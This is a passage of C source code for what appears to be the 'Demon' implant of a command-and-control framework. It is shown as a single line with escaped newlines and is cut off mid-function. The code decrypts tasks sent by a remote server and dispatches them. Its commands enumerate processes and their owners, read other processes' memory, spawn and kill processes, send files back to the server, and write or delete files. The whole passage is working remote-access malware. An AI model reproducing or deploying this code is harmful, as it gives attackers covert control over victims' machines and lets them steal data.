// read from pipe to receive new tasks\n        if ( ! SMBGetJob( &DataBuffer, &DataBufferSize ) )\n        {\n            PUTS( \"SMBGetJob failed\" )\n            continue;\n        }\n#endif\n\n        if ( DataBuffer && DataBufferSize > 0 ) {\n            ParserNew( &Parser, DataBuffer, DataBufferSize );\n            do {\n                CommandID  = ParserGetInt32( &Parser );\n                RequestID  = ParserGetInt32( &Parser );\n                TaskBuffer = ParserGetBytes( &Parser, &TaskBufferSize );\n\n                Instance->CurrentRequestID = RequestID;\n\n                if ( CommandID != DEMON_COMMAND_NO_JOB ) {\n                    PRINTF( \"Task => RequestID:[%d : %x] CommandID:[%d : %x] TaskBuffer:[%x : %d]\\n\", RequestID, RequestID, CommandID, CommandID, TaskBuffer, TaskBufferSize )\n                    if ( TaskBufferSize != 0 ) {\n                        ParserNew( &TaskParser, TaskBuffer, TaskBufferSize );\n                        ParserDecrypt( &TaskParser, Instance->Config.AES.Key, Instance->Config.AES.IV );\n                    }\n\n                    for ( UINT32 FunctionCounter = 0 ;; FunctionCounter++ ) {\n                        if ( DemonCommands[ FunctionCounter ].Function == NULL ) {\n                            break;\n                        }\n\n                        if ( DemonCommands[ FunctionCounter ].ID == CommandID ) {\n                            DemonCommands[ FunctionCounter ].Function( &TaskParser );\n                            break;\n                        }\n                    }\n                }\n            } while ( Parser.Length > 12 );\n\n            MemSet( DataBuffer, 0, DataBufferSize );\n            Instance->Win32.LocalFree( DataBuffer );\n            DataBuffer = NULL;\n\n            ParserDestroy( &Parser );\n            ParserDestroy( &TaskParser );\n        }\n        else\n        {\n#ifdef TRANSPORT_HTTP\n            PUTS( \"TransportSend: Failed\" )\n            break;\n#endif\n        }\n\n        /* Check if there is something that a process output is available or check if the jobs are still alive. */\n        JobCheckList();\n\n        /* Check if we have something in our Pivots connection and sends back the output from the pipes */\n        PivotPush();\n\n        /* push any download chunks we have. */\n        DownloadPush();\n\n        /* push any dotnet output we have. */\n        DotnetPush();\n\n        /* push any new clients or output from the sockets */\n        SocketPush();\n\n    } while ( TRUE );\n\n    Instance->Session.Connected = FALSE;\n\n    PUTS( \"Out of while loop\" )\n}\n\nVOID CommandCheckin( PPARSER Parser )\n{\n    PUTS( \"Checkin\" )\n\n    PPACKAGE Package = PackageCreate( DEMON_COMMAND_CHECKIN );\n\n    DemonMetaData( &Package, FALSE );\n\n    PackageTransmit( Package );\n}\n\nVOID CommandSleep( PPARSER Parser )\n{\n    PPACKAGE Package = PackageCreate( DEMON_COMMAND_SLEEP );\n\n    Instance->Config.Sleeping = ParserGetInt32( Parser );\n    Instance->Config.Jitter   = ParserGetInt32( Parser );\n    PRINTF( \"Instance->Sleeping: [%d]\\n\", Instance->Config.Sleeping );\n    PRINTF( \"Instance->Jitter  : [%d]\\n\", Instance->Config.Jitter );\n\n    PackageAddInt32( Package, Instance->Config.Sleeping );\n    PackageAddInt32( Package, Instance->Config.Jitter );\n    PackageTransmit( Package );\n}\n\nVOID CommandJob( PPARSER Parser )\n{\n    PUTS( \"Job\" )\n    PPACKAGE Package = PackageCreate( DEMON_COMMAND_JOB );\n    DWORD    Command = ParserGetInt32( Parser );\n\n    PackageAddInt32( Package, Command );\n\n    switch ( Command )\n    {\n        case DEMON_COMMAND_JOB_LIST:\n        {\n            PUTS( \"Job::list\" )\n            PJOB_DATA JobList = Instance->Jobs;\n\n            do {\n                if ( JobList )\n                {\n                    PRINTF( \"Job => JobID:[%d] Type:[%d] State:[%d]\\n\", JobList->JobID, JobList->Type, JobList->State )\n\n                    PackageAddInt32( Package, JobList->JobID );\n                    PackageAddInt32( Package, JobList->Type );\n                    PackageAddInt32( Package, JobList->State );\n\n                    JobList = JobList->Next;\n                } else\n                    break;\n\n            } while ( TRUE );\n\n            break;\n        }\n\n        case DEMON_COMMAND_JOB_SUSPEND:\n        {\n            PUTS( \"Job::suspend\" )\n            DWORD JobID   = ParserGetInt32( Parser );\n            BOOL  Success = JobSuspend( JobID );\n\n            PRINTF( \"JobID:[%d] Success:[%d]\", JobID, Success )\n\n            PackageAddInt32( Package, JobID   );\n            PackageAddInt32( Package, Success );\n\n            break;\n        }\n\n        case DEMON_COMMAND_JOB_RESUME:\n        {\n            PUTS( \"Job::resume\" )\n            DWORD JobID   = ParserGetInt32( Parser );\n            BOOL  Success = JobResume( JobID );\n\n            PackageAddInt32( Package, JobID   );\n            PackageAddInt32( Package, Success );\n\n            break;\n        }\n\n        case DEMON_COMMAND_JOB_KILL_REMOVE:\n        {\n            PUTS( \"Job::kill\" )\n            DWORD JobID   = ParserGetInt32( Parser );\n            BOOL  Success = JobKill( JobID );\n\n            PackageAddInt32( Package, JobID   );\n            PackageAddInt32( Package, Success );\n\n            break;\n        }\n    }\n\n    PackageTransmit( Package );\n}\n\nVOID CommandProc( PPARSER Parser )\n{\n    SHORT       SubCommand  = ( SHORT ) ParserGetInt32( Parser );\n    PPACKAGE    Package     = PackageCreate( DEMON_COMMAND_PROC );\n\n    PackageAddInt32( Package, SubCommand );\n\n    switch ( SubCommand )\n    {\n        case DEMON_COMMAND_PROC_MODULES: PUTS( \"Proc::Modules\" )\n        {\n            PROCESS_BASIC_INFORMATION ProcessBasicInfo = { 0 };\n            UINT32                    ProcessID        = 0;\n            HANDLE                    hProcess         = NtCurrentProcess();\n            NTSTATUS                  NtStatus         = STATUS_SUCCESS;\n\n            if ( Parser->Length > 0 ) {\n                ProcessID = ParserGetInt32( Parser );\n                hProcess  = ProcessOpen( ProcessID, PROCESS_ALL_ACCESS );\n                if ( ! hProcess ) {\n                    PACKAGE_ERROR_WIN32\n                    break;\n                }\n            }\n\n            NtStatus = SysNtQueryInformationProcess( hProcess, ProcessBasicInformation, &ProcessBasicInfo, sizeof( PROCESS_BASIC_INFORMATION ), 0 );\n            if ( NT_SUCCESS( NtStatus ) )\n            {\n                PPEB_LDR_DATA           LoaderData              = NULL;\n                PLIST_ENTRY             ListHead, ListEntry     = NULL;\n                SIZE_T                  Size                    = 0;\n                LDR_DATA_TABLE_ENTRY    CurrentModule           = { 0 };\n                WCHAR                   ModuleNameW[ MAX_PATH ] = { 0 };\n                CHAR                    ModuleName[ MAX_PATH ]  = { 0 };\n\n                PackageAddInt32( Package, ProcessID );\n\n                if ( NT_SUCCESS( SysNtReadVirtualMemory( hProcess, &ProcessBasicInfo.PebBaseAddress->Ldr, &LoaderData, sizeof( PPEB_LDR_DATA ), &Size ) ) )\n                {\n                    ListHead = & LoaderData->InMemoryOrderModuleList;\n\n                    Size = 0;\n                    if ( NT_SUCCESS( SysNtReadVirtualMemory( hProcess, &LoaderData->InMemoryOrderModuleList.Flink, &ListEntry, sizeof( PLIST_ENTRY ), NULL ) ) )\n                    {\n                        while ( ListEntry != ListHead )\n                        {\n                            if ( NT_SUCCESS( SysNtReadVirtualMemory( hProcess, CONTAINING_RECORD( ListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks ), &CurrentModule, sizeof( CurrentModule ), NULL ) ) )\n                            {\n                                SysNtReadVirtualMemory( hProcess, CurrentModule.FullDllName.Buffer, &ModuleNameW, CurrentModule.FullDllName.Length, &Size );\n\n                                if ( CurrentModule.FullDllName.Length > 0 ) {\n                                    Size = WCharStringToCharString( ModuleName, ModuleNameW, CurrentModule.FullDllName.Length );\n\n                                    PackageAddString( Package, ModuleName );\n                                    PackageAddPtr( Package, CurrentModule.DllBase );\n                                }\n\n                                MemSet( ModuleNameW, 0, MAX_PATH );\n                                MemSet( ModuleName, 0, MAX_PATH );\n\n                                ListEntry = CurrentModule.InMemoryOrderLinks.Flink;\n                            }\n                        }\n                    }\n                }\n            }\n\n            if ( hProcess ) {\n                SysNtClose( hProcess );\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_PROC_GREP: PUTS(\"Proc::Grep\")\n        {\n            PSYSTEM_PROCESS_INFORMATION SysProcessInfo  = NULL;\n            PSYSTEM_PROCESS_INFORMATION PtrProcessInfo  = NULL; /* is going to hold the original pointer of SysProcessInfo */\n            SIZE_T                      ProcessInfoSize = 0;\n            NTSTATUS                    NtStatus        = STATUS_SUCCESS;\n            ULONG32                     ProcessSize     = 0;\n            PWCHAR                      ProcessName     = NULL;\n\n            /* Process User token */\n            BUFFER UserDomain = { 0 };\n\n            ProcessName = ParserGetWString( Parser, &ProcessSize );\n\n            if ( NT_SUCCESS( NtStatus = ProcessSnapShot( &SysProcessInfo, &ProcessInfoSize ) ) )\n            {\n                PRINTF( \"SysProcessInfo: %p\\n\", SysProcessInfo );\n\n                /* save the original pointer to free */\n                PtrProcessInfo = SysProcessInfo;\n\n                while ( TRUE )\n                {\n                    PVOID MemRet = WcsIStr( SysProcessInfo->ImageName.Buffer, ProcessName );\n\n                    if ( MemRet != NULL )\n                    {\n                        HANDLE hProcess = NULL;\n                        HANDLE hToken   = NULL;\n\n                        hProcess = ProcessOpen( U_PTR( SysProcessInfo->UniqueProcessId ) , ( Instance->Session.OSVersion > WIN_VERSION_XP ) ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION );\n                        if ( ! hProcess )\n                            continue;\n\n                        if ( NT_SUCCESS( SysNtOpenProcessToken( hProcess, TOKEN_QUERY, &hToken ) ) ) {\n                            if ( TokenQueryOwner( hToken, &UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) {\n                                /* well successful called the token user/domain query. continue */\n                            }\n                        }\n\n                        PackageAddWString( Package, SysProcessInfo->ImageName.Buffer );\n                        PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) SysProcessInfo->UniqueProcessId  );\n                        PackageAddInt32( Package, ( DWORD ) ( ULONG_PTR ) SysProcessInfo->InheritedFromUniqueProcessId );\n                        PackageAddBytes( Package, UserDomain.Buffer, UserDomain.Length );\n                        PackageAddInt32( Package, ProcessIsWow( hProcess ) ? 86 : 64 );\n\n                        if ( hProcess ) {\n                            SysNtClose( hProcess );\n                            hProcess = NULL;\n                        }\n\n                        if ( hToken ) {\n                            SysNtClose( hToken );\n                            hToken = NULL;\n                        }\n\n                        if ( UserDomain.Buffer ) {\n                            MemZero( UserDomain.Buffer, UserDomain.Length );\n                            MmHeapFree( UserDomain.Buffer );\n                            UserDomain.Buffer = NULL;\n                        }\n                    }\n\n                    if ( SysProcessInfo->NextEntryOffset == 0 )\n                        break;\n\n                    SysProcessInfo = C_PTR( U_PTR( SysProcessInfo ) + SysProcessInfo->NextEntryOffset );\n                }\n\n                if ( PtrProcessInfo )\n                {\n                    MemSet( PtrProcessInfo, 0, ProcessInfoSize );\n                    MmHeapFree( PtrProcessInfo );\n                    PtrProcessInfo = NULL;\n                    SysProcessInfo = NULL;\n                }\n            }\n            else\n            {\n                NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n                CALLBACK_ERROR_WIN32;\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_PROC_CREATE: PUTS( \"Proc::Create\" )\n        {\n            PROCESS_INFORMATION ProcessInfo     = { 0 };\n            UINT32              ProcessSize     = 0;\n            UINT32              ProcessArgsSize = 0;\n            UINT32              ProcessState    = ParserGetInt32( Parser );\n            PWCHAR              Process         = ParserGetWString( Parser, &ProcessSize );\n            PWCHAR              ProcessArgs     = ParserGetWString( Parser, &ProcessArgsSize );\n            BOOL                ProcessPiped    = ParserGetInt32( Parser );\n            BOOL                ProcessVerbose  = ParserGetInt32( Parser );\n            BOOL                Success         = FALSE;\n\n            if ( ProcessSize == 0 )\n                Process = NULL;\n\n            if ( ProcessArgsSize == 0 )\n                ProcessArgs = NULL;\n\n            PRINTF( \"Process State   : %d\\n\", ProcessState );\n            PRINTF( \"Process         : %ls [%d]\\n\", Process, ProcessSize );\n            PRINTF( \"Process Args    : %ls [%d]\\n\", ProcessArgs, ProcessArgsSize );\n            PRINTF( \"Process Piped   : %s [%d]\\n\", ProcessPiped ? \"TRUE\" : \"FALSE\", ProcessPiped );\n            PRINTF( \"Process Verbose : %s [%d]\\n\", ProcessVerbose ? \"TRUE\" : \"FALSE\", ProcessVerbose );\n\n            // TODO: make it optional to choose process arch\n            Success = ProcessCreate( TRUE, Process, ProcessArgs, ProcessState, &ProcessInfo, ProcessPiped, NULL );\n\n            PackageAddWString( Package, Process );\n            PackageAddInt32( Package, Success ? ProcessInfo.dwProcessId : 0 );\n            PackageAddInt32( Package, Success );\n            PackageAddInt32( Package, ProcessPiped );\n            PackageAddInt32( Package, ProcessVerbose );\n\n            if ( Success )\n            {\n                SysNtClose( ProcessInfo.hThread );\n                if ( ! ProcessPiped )\n                    SysNtClose( ProcessInfo.hProcess );\n\n                PRINTF( \"Successful spawned process: %d\\n\", ProcessInfo.dwProcessId );\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_PROC_MEMORY: PUTS( \"Proc::Memory\" )\n        {\n            DWORD                    ProcessID   = ParserGetInt32( Parser );\n            DWORD                    QueryProtec = ParserGetInt32( Parser );\n            MEMORY_BASIC_INFORMATION MemInfo     = {};\n            LPVOID                   Offset      = 0;\n            SIZE_T                   Result      = 0;\n            HANDLE                   hProcess    = NULL;\n\n            hProcess = ProcessOpen( ProcessID, PROCESS_ALL_ACCESS );\n            if ( hProcess )\n            {\n                PackageAddInt32( Package, ProcessID );\n                PackageAddInt32( Package, QueryProtec );\n\n                while ( NT_SUCCESS( SysNtQueryVirtualMemory( hProcess, Offset, MemoryBasicInformation, &MemInfo, sizeof( MemInfo ), &Result ) ) )\n                {\n                    Offset = C_PTR( U_PTR( MemInfo.BaseAddress ) + MemInfo.RegionSize );\n\n                    if ( MemInfo.Type != MEM_FREE )\n                    {\n                        if ( MemInfo.AllocationBase != 0 )\n                        {\n                            if ( QueryProtec == 0 )\n                            {\n                                // Since the Protection to query isn't specified we just list every memory region\n                                PackageAddPtr( Package, MemInfo.BaseAddress );\n                                PackageAddInt32( Package, MemInfo.RegionSize );\n                                PackageAddInt32( Package, MemInfo.AllocationProtect );\n                                PackageAddInt32( Package, MemInfo.State );\n                                PackageAddInt32( Package, MemInfo.Type );\n                            }\n                            else\n                            {\n                                if ( QueryProtec == MemInfo.AllocationProtect )\n                                {\n                                    PRINTF( \"Search for memory region: %d\\n\", QueryProtec )\n                                    // Add found memory region with specified memory protection\n                                    PackageAddPtr( Package, MemInfo.BaseAddress );\n                                    PackageAddInt32( Package, MemInfo.RegionSize );\n                                    PackageAddInt32( Package, MemInfo.AllocationProtect );\n                                    PackageAddInt32( Package, MemInfo.State );\n                                    PackageAddInt32( Package, MemInfo.Type );\n                                }\n                            }\n                        }\n                    }\n                }\n\n                Offset = NULL;\n            }\n\n            if ( hProcess ) {\n                SysNtClose( hProcess );\n                hProcess = NULL;\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_PROC_KILL: PUTS( \"Proc::Kill\" )\n        {\n            DWORD  dwProcessID = ParserGetInt32( Parser );\n            HANDLE hProcess    = NULL;\n\n            hProcess = ProcessOpen( dwProcessID, PROCESS_TERMINATE );\n            if ( hProcess )\n                Instance->Win32.TerminateProcess( hProcess, 0 );\n\n            PackageAddInt32( Package, hProcess ? TRUE : FALSE );\n            PackageAddInt32( Package, dwProcessID );\n\n            if ( hProcess )\n            {\n                SysNtClose( hProcess );\n                hProcess = NULL;\n            }\n\n            break;\n        }\n    }\n\n    // TODO: handle error\n    PackageTransmit( Package );\n}\n\n/*!\n * get current list of running processes\n * and sends it back to the server.\n *\n * TODO: refactor this.\n *\n * @param Parser\n */\nVOID CommandProcList(\n    IN PPARSER Parser\n) {\n    PSYS_PROC_INFO SysProcessInfo  = { 0 };\n    PSYS_PROC_INFO SysProcessPtr   = { 0 }; /* is going to hold the original pointer of SysProcessInfo */\n    SIZE_T         ProcessInfoSize = { 0 };\n    PPACKAGE       Package         = { 0 };\n    DWORD          ProcessUI       = { 0 };\n    HANDLE         Token           = { 0 };\n    HANDLE         Process         = { 0 };\n    BUFFER         UserDomain      = { 0 };\n    BOOL           x86             = FALSE;\n    NTSTATUS       NtStatus        = STATUS_SUCCESS;\n\n    /* try to take a snapshot of current running processes */\n    if ( NT_SUCCESS( NtStatus = ProcessSnapShot( &SysProcessInfo, &ProcessInfoSize ) ) )\n    {\n        PRINTF( \"SysProcessInfo: %p : %d\\n\", SysProcessInfo, ProcessInfoSize );\n\n        /* save the original pointer to free */\n        SysProcessPtr = SysProcessInfo;\n\n        /* Create our package */\n        Package   = PackageCreate( DEMON_COMMAND_PROC_LIST );\n        ProcessUI = ParserGetInt32( Parser ); /* TODO: change from bool to process list id (what client requested it) */\n\n        /* did we get this request from the Client Process Explorer or Console ? */\n        PackageAddInt32( Package, ProcessUI );\n\n        do {\n            /* open handle to each process with query information privilege since we don't need anything else besides basic info */\n            Process = ProcessOpen(\n                U_PTR( SysProcessInfo->UniqueProcessId ),\n                Instance->Session.OSVersion > WIN_VERSION_XP ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION\n            );\n\n            /* query data based on the process handle */\n            if ( Process )\n            {\n                /* open a process token handle */\n                if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( Process, TOKEN_QUERY, &Token ) ) ) {\n                    /* query the username and domain */\n                    if ( ! TokenQueryOwner( Token, &UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) {\n                        PUTS( \"Failed to get Username and Domain\\n\" );\n                    } else {\n                        PRINTF( \"UserDomain: %ls\\n\", UserDomain.Buffer )\n                    }\n                } else {\n                    PRINTF( \"NtOpenProcessToken Failed => %lx\\n\", NtStatus )\n                }\n\n                /* check if the process handle is wow64 */\n                x86 = ProcessIsWow( Process );\n            }\n\n            /* Now we append the collected process data to the process list  */\n            PackageAddBytes( Package, SysProcessInfo->ImageName.Buffer, SysProcessInfo->ImageName.Length );\n            PackageAddInt32( Package, U_PTR( SysProcessInfo->UniqueProcessId ) );\n            PackageAddInt32( Package, x86 );\n            PackageAddInt32( Package, U_PTR( SysProcessInfo->InheritedFromUniqueProcessId ) );\n            PackageAddInt32( Package, SysProcessInfo->SessionId );\n            PackageAddInt32( Package, SysProcessInfo->NumberOfThreads );\n            PackageAddBytes( Package, UserDomain.Buffer, UserDomain.Length );\n\n#ifdef DEBUG\n            /* ignore this. is just for the debug prints.\n             * if we close the handle to our own process we won't see any debug prints anymore */\n            if ( U_PTR( SysProcessInfo->UniqueProcessId ) != Instance->Session.PID ) {\n                SysNtClose( Process );\n                Process = NULL;\n            }\n#else\n            if ( Process ) {\n                SysNtClose( Process );\n                Process = NULL;\n            }\n#endif\n\n            if ( Token ) {\n                SysNtClose( Token );\n                Token = NULL;\n            }\n\n            if ( UserDomain.Buffer ) {\n                MemZero( UserDomain.Buffer, UserDomain.Length );\n                MmHeapFree( UserDomain.Buffer );\n                UserDomain.Buffer = NULL;\n                UserDomain.Length = 0;\n            }\n\n            /* there are no processes left. */\n            if ( ! SysProcessInfo->NextEntryOffset ) {\n                break;\n            }\n\n            /* now go to the next process */\n            SysProcessInfo = C_PTR( U_PTR( SysProcessInfo ) + SysProcessInfo->NextEntryOffset );\n        } while ( TRUE );\n\n        PackageTransmit( Package );\n\n        /* Free our process list */\n        if ( SysProcessPtr ) {\n            MemZero( SysProcessPtr, ProcessInfoSize );\n            MmHeapFree( SysProcessPtr );\n            SysProcessPtr  = NULL;\n            SysProcessInfo = NULL;\n        }\n    } else {\n        PACKAGE_ERROR_NTSTATUS( NtStatus )\n    }\n}\n\nVOID CommandFS( PPARSER Parser )\n{\n    PPACKAGE Package = PackageCreate( DEMON_COMMAND_FS );\n    DWORD    Command = ParserGetInt32( Parser );\n\n    PackageAddInt32( Package, Command );\n\n    switch ( Command )\n    {\n        case DEMON_COMMAND_FS_DIR: PUTS( \"FS::Dir\" )\n        {\n            LPWSTR           TargetFolder = NULL;\n            LPWSTR           Path         = NULL;\n            BOOL             FileExplorer = FALSE;\n            PROOT_DIR        RootDir      = NULL;\n            PROOT_DIR        TmpRootDir   = NULL;\n            BOOL             SubDirs      = FALSE;\n            BOOL             FilesOnly    = FALSE;\n            BOOL             DirsOnly     = FALSE;\n            BOOL             ListOnly     = FALSE;\n            LPWSTR           Starts       = NULL;\n            LPWSTR           Contains     = NULL;\n            LPWSTR           Ends         = NULL;\n            PDIR_OR_FILE     DirOrFile    = NULL;\n            PDIR_OR_FILE     TmpDirOrFile = NULL;\n            UINT32           PathSize     = NULL;\n\n            FileExplorer = ParserGetBool( Parser );\n            TargetFolder = ParserGetWString( Parser, NULL );\n            SubDirs      = ParserGetBool( Parser );\n            FilesOnly    = ParserGetBool( Parser );\n            DirsOnly     = ParserGetBool( Parser );\n            ListOnly     = ParserGetBool( Parser );\n            Starts       = ParserGetWString( Parser, NULL );\n            Contains     = ParserGetWString( Parser, NULL );\n            Ends         = ParserGetWString( Parser, NULL );\n\n            Starts   = Starts[ 0 ]   ? Starts   : NULL;\n            Contains = Contains[ 0 ] ? Contains : NULL;\n            Ends     = Ends[ 0 ]     ? Ends     : NULL;\n\n            Path = Instance->Win32.LocalAlloc( LPTR, MAX_PATH * sizeof( WCHAR ) );\n\n            if ( TargetFolder[ 0 ] == L'.' )\n            {\n                if ( ! Instance->Win32.GetCurrentDirectoryW( MAX_PATH, Path ) )\n                {\n                    PRINTF( \"Failed to get current dir: %d\\n\", NtGetLastError() );\n                    DATA_FREE( Path, MAX_PATH * sizeof( WCHAR ) );\n                    break;\n                }\n\n                PathSize = StringLengthW( Path );\n                if ( Path[ PathSize - 1 ] != 0x5c )\n                    Path[ PathSize++ ] = 0x5c;\n                Path[ PathSize++ ] = 0x2a;\n                Path[ PathSize ]   = 0x00;\n            }\n            else\n            {\n                MemCopy( Path, TargetFolder, MAX_PATH * sizeof( WCHAR ) );\n            }\n\n            PRINTF( \"Path: %ls\\n\", Path )\n\n            /*\n             * TODO: make listDir not recursive,\n             *       right now, we avoid stack overflows by iterating 10 times tops\n             *       otherweise, this function is known to crash if the\n             *       search space is too vast\n            */\n            RootDir = listDir( Path, SubDirs, FilesOnly, DirsOnly, Starts, Contains, Ends, 10 );\n\n            PackageAddBool( Package, FileExplorer );\n            PackageAddBool( Package, ListOnly );\n            PackageAddWString( Package, Path );\n            PackageAddBool( Package, RootDir ? TRUE : FALSE );\n\n            while ( RootDir )\n            {\n                if ( ! ( ListOnly && RootDir->NumFiles + RootDir->NumFolders == 0 ) )\n                {\n                    PackageAddWString( Package, RootDir->Path );\n                    PackageAddInt32( Package, RootDir->NumFiles );\n                    PackageAddInt32( Package, RootDir->NumFolders );\n                    if ( ! ListOnly ) {\n                        PackageAddInt64( Package, RootDir->TotalFileSize );\n                    }\n\n                    DirOrFile = RootDir->Content;\n                    while ( DirOrFile )\n                    {\n                        PackageAddWString( Package, DirOrFile->FileName );\n                        if ( ! ListOnly ) {\n                            PackageAddBool( Package, DirOrFile->IsDir );\n                            PackageAddInt64( Package, DirOrFile->Size );\n                            PackageAddInt32( Package, DirOrFile->FileTime.wDay );\n                            PackageAddInt32( Package, DirOrFile->FileTime.wMonth );\n                            PackageAddInt32( Package, DirOrFile->FileTime.wYear );\n                            PackageAddInt32( Package, DirOrFile->SystemTime.wMinute );\n                            PackageAddInt32( Package, DirOrFile->SystemTime.wHour );\n                        }\n\n                        TmpDirOrFile = DirOrFile->Next;\n                        DATA_FREE( DirOrFile, sizeof( DIR_OR_FILE ) );\n                        DirOrFile = TmpDirOrFile;\n                    }\n                }\n\n                TmpRootDir = RootDir->Next;\n                DATA_FREE( RootDir, sizeof( ROOT_DIR ) );\n                RootDir = TmpRootDir;\n            }\n\n            DATA_FREE( Path, MAX_PATH * sizeof( WCHAR ) );\n\n            break;\n        }\n\n        case DEMON_COMMAND_FS_DOWNLOAD: PUTS( \"FS::Download\" )\n        {\n            PDOWNLOAD_DATA Download = NULL;\n            BUFFER         FileName = { 0 };\n            PVOID          Buffer   = NULL;\n            HANDLE         hFile    = NULL;\n            BOOL           Success  = TRUE;\n            WCHAR          FilePath[ MAX_PATH * 2 ] = { 0 };\n            WCHAR          PathSize = MAX_PATH * 2;\n            LARGE_INTEGER  FileSize = { 0 };\n\n            Buffer = ParserGetBytes( Parser, &FileName.Length );\n\n            FileName.Buffer = MmHeapAlloc( FileName.Length + sizeof( WCHAR ) );\n            MemCopy( FileName.Buffer, Buffer, FileName.Length );\n\n            PRINTF( \"FileName => %ls\\n\", FileName.Buffer )\n\n            hFile = Instance->Win32.CreateFileW( FileName.Buffer, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );\n            if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) )\n            {\n                PUTS( \"CreateFileW: Failed\" )\n\n                PACKAGE_ERROR_WIN32\n\n                Success = FALSE;\n                goto CleanupDownload;\n            }\n\n            PathSize = Instance->Win32.GetFullPathNameW( FileName.Buffer, PathSize, FilePath, NULL );\n            PRINTF( \"FilePath.Buffer[%d]: %ls\\n\", PathSize, FilePath )\n\n            if ( ! Instance->Win32.GetFileSizeEx( hFile, &FileSize ) )\n            {\n                PUTS( \"GetFileSizeEx: Failed\" )\n\n                PACKAGE_ERROR_WIN32\n\n                Success = FALSE;\n                goto CleanupDownload;\n            }\n\n            /* Start our download. */\n            Download = DownloadAdd( hFile, FileSize.QuadPart );\n\n            /*\n\t\t\t * Download Header:\n\t\t\t *  [ Mode      ] Open ( 0 ), Write ( 1 ) or Close ( 2 )\n\t\t\t *  [ File ID   ] Download File ID\n\t\t\t *\n\t\t\t * Data (Open):\n\t\t\t *  [ File Size ]\n\t\t\t *  [ File Name ]\n\t\t\t *\n\t\t\t * Data (Write)\n\t\t\t *  [ Chunk Data ] Size + FileChunk\n\t\t\t *\n\t\t\t * Data (Close):\n\t\t\t *  [  Reason   ] Removed or Finished\n\t\t\t * */\n\n            /* Download Header */\n            PackageAddInt32( Package, DOWNLOAD_MODE_OPEN );\n            PackageAddInt32( Package, Download->FileID   );\n\n            /* Download Open Data */\n            PackageAddInt64( Package, FileSize.QuadPart );\n            if ( PathSize > 0 )\n                PackageAddWString( Package, FilePath );\n            else\n                PackageAddWString( Package, FileName.Buffer );\n\n        CleanupDownload:\n            PUTS( \"CleanupDownload\" )\n\n            if ( FileName.Buffer )\n            {\n                MemSet( FileName.Buffer, 0, FileName.Length );\n                MmHeapFree( FileName.Buffer );\n                FileName.Buffer = NULL;\n            }\n\n            if ( ! Success )\n                goto CLEAR_LEAVE;\n\n            break;\n        }\n\n        case DEMON_COMMAND_FS_UPLOAD: PUTS( \"FS::Upload\" )\n        {\n            DWORD     FileSize  = 0;\n            UINT32    NameSize  = 0;\n            DWORD     Written   = 0;\n            HANDLE    hFile     = NULL;\n            LPWSTR    FileName  = ParserGetWString( Parser, &NameSize );\n            ULONG     MemFileID = ParserGetInt32( Parser );\n            PMEM_FILE MemFile   = GetMemFile( MemFileID );\n            BOOL      Success   = TRUE;\n            PVOID     Content   = NULL;\n\n            // TODO: handle error and communicate to the TS\n\n            if ( MemFile && MemFile->IsCompleted )\n            {\n                Content  = MemFile->Data;\n                FileSize = MemFile->Size;\n            }\n            else if ( MemFile && ! MemFile->IsCompleted )\n            {\n                PRINTF( \"MemFile [%x] was not completed\\n\", MemFileID );\n                Success = FALSE;\n                goto CleanupUpload;\n            }\n            else\n            {\n                PRINTF( \"MemFile [%x] not found\\n\", MemFileID );\n                Success = FALSE;\n                goto CleanupUpload;\n            }\n\n            PRINTF( \"FileName[%d] => %ls\\n\", FileSize, FileName )\n\n            hFile = Instance->Win32.CreateFileW( FileName, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL );\n            if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) )\n            {\n                PUTS( \"CreateFileW: Failed\" )\n                PACKAGE_ERROR_WIN32\n                Success = FALSE;\n                goto CleanupUpload;\n            }\n\n            if ( ! Instance->Win32.WriteFile( hFile, Content, FileSize, &Written, NULL ) )\n            {\n                PUTS( \"WriteFile: Failed\" )\n                PACKAGE_ERROR_WIN32\n                Success = FALSE;\n                goto CleanupUpload;\n            }\n\n            PackageAddInt32( Package, FileSize );\n            PackageAddWString( Package, FileName );\n\n        CleanupUpload:\n            if ( hFile ) {\n                SysNtClose( hFile );\n                hFile = NULL;\n            }\n\n            if ( ! Success ) {\n                goto CLEAR_LEAVE;\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_FS_CD: PUTS( \"FS::Cd\" )\n        {\n            UINT32 PathSize = 0;\n            LPWSTR Path     = ParserGetWString( Parser, &PathSize );\n\n            if ( ! Instance->Win32.SetCurrentDirectoryW( Path ) ) {\n                PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                goto CLEAR_LEAVE;\n            } else {\n                PackageAddWString( Package, Path );\n            }\n\n            break;\n        }\n\n        case DEMON_COMMAND_FS_REMOVE: PUTS( \"FS::Remove\" )\n        {\n            UINT32 PathSize = 0;\n            LPWSTR Path     = ParserGetWString( Parser, &PathSize );\n            DWORD  dwAttrib = Instance->Win32.GetFileAttributesW( Path );\n\n            if ( dwAttrib != INVALID_FILE_ATTRIBUTES && ( dwAttrib & FILE_ATTRIBUTE_DIRECTORY ) )\n            {\n                if ( ! Instance->Win32.RemoveDirectoryW( Path ) ) {\n                    PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                    goto CLEAR_LEAVE;\n                } else {\n                    PackageAddInt32( Package, TRUE );\n                }\n            }\n            else\n            {\n                if ( ! Instance->Win32.DeleteFileW( Path ) ) {\n                    PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                    goto CLEAR_LEAVE;\n                } else {\n                    PackageAddInt32( Package, FALSE );\n                }\n            }\n\n            PackageAddWString( Package, Path );\n\n            break;\n        }\n\n        case DEMON_COMMAND_FS_MKDIR: PUTS( 